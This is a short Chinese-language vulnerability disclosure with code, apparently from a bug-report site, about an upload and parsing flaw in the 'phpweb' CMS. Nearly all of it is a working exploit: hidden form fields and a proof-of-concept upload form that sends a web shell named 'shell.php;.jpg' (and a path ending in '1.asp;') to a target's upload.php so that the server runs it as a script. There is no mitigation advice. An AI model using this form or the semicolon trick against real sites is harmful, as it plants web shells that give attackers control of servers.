XML/HTML代码
  1. 漏洞详情简要描述：新版的phpweb 存在这上传和解析不当漏洞  
  2. 详细说明：  
  3. <input type="hidden" name="filepath" value="Account/adminindex/1.asp;">  
  4.   
  5. <input type="hidden" name="filelx" value="jpg">  
  6. 漏洞证明：exp 上传shell.php.jpg  
  7. <form name=”uploadForm” style=”margin:0;padding:0;” method=”post” enctype=”multipart/form-data” action=”http://xxxxx.com/maq/upload.php”>  
  8.   
  9. <input type=”hidden” name=”fileName” id=”fileName” value=”shell.php;.jpg” />  
  10.   
  11. <input type=”hidden” name=”attachPath” id=”fileName” value=”maq/pics/” />  
  12.   
  13. <input type=”file” name=”fileData” id=”imgFile” size=”14″ style=”border:1px solid #555555;”>  
  14.   
  15. <input type=”submit” name=”button” id=”KE_IMAGEsubmitButton” value=”上传” style=”border:1px solid #555555;background-color:#AAAAAA;” />  
  16.   
  17. </form>